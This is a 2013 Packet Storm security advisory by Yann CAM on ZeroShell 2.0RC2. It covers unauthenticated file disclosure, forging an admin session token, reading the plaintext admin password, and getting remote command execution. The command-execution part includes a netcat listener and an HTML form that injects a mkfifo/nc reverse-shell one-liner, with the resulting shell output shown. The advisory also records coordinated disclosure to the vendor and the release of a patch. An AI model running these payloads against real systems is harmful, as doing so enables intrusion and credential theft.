exploit the possibilities

ZeroShell 2.0RC2 File Disclosure / Command Execution

ZeroShell 2.0RC2 File Disclosure / Command Execution
Posted Aug 13, 2013
Authored by Yann CAM

ZeroShell version 2.0RC2 suffers from remote command execution and file disclosure vulnerabilities.

tags | exploit, remote, vulnerability, info disclosure
MD5 | 05f173e437c8deb6a2bfe96db74fc277

ZeroShell 2.0RC2 File Disclosure / Command Execution

Change Mirror Download
# Exploit Title: ZeroShell <= 2.0RC2 Local file disclosure and Remote Command Execution
# Date: 13/08/2013
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.zeroshell.org - www.zeroshell.org/download/
# Version: 2.0RC2
# Category: Local File disclosure and Remote Command Execution
# Google dork:
# Tested on: ZeroShell distribution

ZeroShell firewall/router distribution description :

Zeroshell is a Linux distribution for servers and embedded devices aimed at providing the main network services a LAN requires. It is available in the form of Live CD or Compact Flash image and you can configure and administer it using your web browser. Zeroshell is not based on an already existing distribution as for example Knoppix is based on Debian.
The name Zeroshell underlines the fact that although it is a Linux system (traditionally administrable from a shell), all the administration operations can be carried out via Web interface.

In version <= 2.0RC2 of the distribution, differents vulnerabilities can be used to gain a Remote Command Execution (reverse-shell).

* A demonstration video has been realised as PoC here : https://www.youtube.com/watch?v=fgbfVBr65e4

Introduction to the PoC :

In this distribution, the managment website is a binary file named "kerbynet" interpreted in cgi-bin directory here :


So all url look like this :


This binary file routes the params (GET/POST) to dedicated script (mainly in sh) in the /root/kerbynet.cgi/scripts/ directory.
There are also all templates html file located in /root/kerbynet.cgi/template/ directory.

For all main administration action, the admin user need to be loggued (Unix account admin/zeroshell by default for console, SSH and WebGUI). A session token is needed through each administration page.

There are few pages which can be requested without an authentification token like the GPL license, X.509 certificates, etc.

The WebGUI running with the "apache" user. This user is restricted and can only run a white list of command and all script sh linked to the kerbynet.
To see the administratives rights of this user, cat the file :

cat /root/kerbynet.cgi/template.cfg/sudoers

Many of these scripts can be exploited to execute arbitrarly command in the system through the WebGUI. For the next part of this PoC, only one script is exploited to gain a full remote reverse shell.

Proof of Concept 1 : Local File Disclosure

About's url is the following :

As we can see, this url doesn't need a token session to print the GPN license of the distribution. The license is located in the file :

So we can deduce that this url can be used to a local file disclosure vulnerability.

PoC :

Results :
havp:x:50002:50002:HTTP AntiVirus Proxy:/home/havp:/bin/false

Proof of Concept 2 : Generate a valid admin session token

As we said, all administration request need a valid session token named "STk".
This variable is used in GET url as param, and in hidden input field of form too.
The session ID looklike this :


If we focus on the generation of the session ID in scripts, we can find:

/root/kerbynet.cgi/scripts/net_showinterface:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`"
/root/kerbynet.cgi/scripts/qos_showinterface:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`"
/root/kerbynet.cgi/scripts/vpn_list:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`"
/root/kerbynet.cgi/scripts/net_list:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`"
/root/kerbynet.cgi/scripts/qos_list:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`"
/root/kerbynet.cgi/scripts/storage_netDB:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`"

The "rand" command compute a random number with 8 digits, and the next part of the session ID depends on the content of the file /tmp/STk_Admin.
This file /tmp/STk_Admin, is only created if an admin was loggued. With the previous local file disclosure vulnerability, we can retrieve the content of this file easily.
If the file doesn't exist, you have to wait that a legitimate administrator connect to the WebGUI.

PoC :

Result :

This hash corresponds to the last 32 chars of the valid STk. So we can forge a valid arbitrarly admin session token from this hash prepended with 8 random digits:

Valid admin session ID generated :

This token can be injected into known urls to access without credentials to administration menus.
After normal and legitimate login, the page printed is composed of frame. To get each menus pages, you can used these following urls :

- Left menu
- Utilities menu
- Head menu (reboot/shutdown router)

Proof of Concept 3 : Gain a full reverse-shell without any credentials

At this point, we consider that you have a valid admin session ID generated with the previous method.
With this token, we can get a full reverse-shell on the distribution, without login.

First, we put a netcat in listening mod on a dedicated port in the pentester machine :

#>nc -l -vv -p [PENTESTER_PORT]

Next, run the following script in your browser after repace [PENTESTER_IP], [PENTESTER_PORT], [ZEROSHELL_IP] and [GENERATED_SESSION_ID] with yours :

<form name='x' action='http://[ZEROSHELL_IP]/cgi-bin/kerbynet' method='post'>
<input type='hidden' name='Action' value='Lookup' />
<input type='hidden' name='STk' value='[GENERATED_SESSION_ID]' />
<input type='hidden' name='Section' value='DNS' />
<input type='hidden' name='What' value='yanncam" localhost && rm -f /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc [PENTESTER_IP] [PENTESTER_PORT] > /tmp/x #' />
<input type='hidden' name='DNS' value='localhost' />

A full reverse-shell is gain in your netcat instance :

listening on [any] 1337 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 41145: NO_DATA
sh: no job control in this shell
sh-2.05b$ cat /etc/passwd
havp:x:50002:50002:HTTP AntiVirus Proxy:/home/havp:/bin/false

Netcat is provided in the Zeroshell distribution, but without the available flag -c or -e. So the technic used to send the shell is with a fifo file specially created.
To see more information about reverse-shell one-liner, refer to : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/ (in french).

* A demonstration video has been realised as PoC here : https://www.youtube.com/watch?v=fgbfVBr65e4

Proof of Concept 4 : Retrieve admin password in plaintext

The script used to change the admin password through the WebGUI is located here :

If the change password mode is to check the old password before, this line il executed in the script :
if [ "$CPW" != "`cat $REGISTER/system/ldap/rootpw 2>/dev/null`" ] ; then

So the current password is located in $REGISTER/system/ldap/rootpw, where "$REGISTER" has value "/var/register" (defined in /etc/kerbynet.conf).

Consequently, with the local file disclosure vulnerability describe above, we can retrieve the admin password in plaintext without any authentification with this url :

PoC :

Result (by default) :


07/08/2013 : New release ZeroShell 2.0RC3 and new security patch available here :
- release : www.zeroshell.org/download/
- patch : www.zeroshell.org/patch-details/

Additional resources :

- www.zeroshell.org
- www.synetis.com
- www.asafety.fr
- www.youtube.com/watch?v=fgbfVBr65e4

Report timeline :

2013-05-20 : Team alerted with details, PoC and video
2013-05-20 : Main developer Fulvio Ricciardi feedback with thanks and other technical questions
2013-05-21 : New response with others details and potential solutions
2013-05-21 : Fulvio Ricciardi inform me that a new version fixed will be released in June
2013-06-26 : New mail from me to request the official date of the release
2013-06-26 : Response in the same day : new version will be released in July
2013-08-07 : New release ZeroShell 2.0RC3 + security patch available

Credits :

88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

Last word :

Thank you Fulvio Ricciardi your for professionalism, responsiveness and quality solution despite of these few weaknesses.

CONTACT: www.synetis.com | www.asafety.fr
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2020 Packet Storm. All rights reserved.

Security Services
Hosting By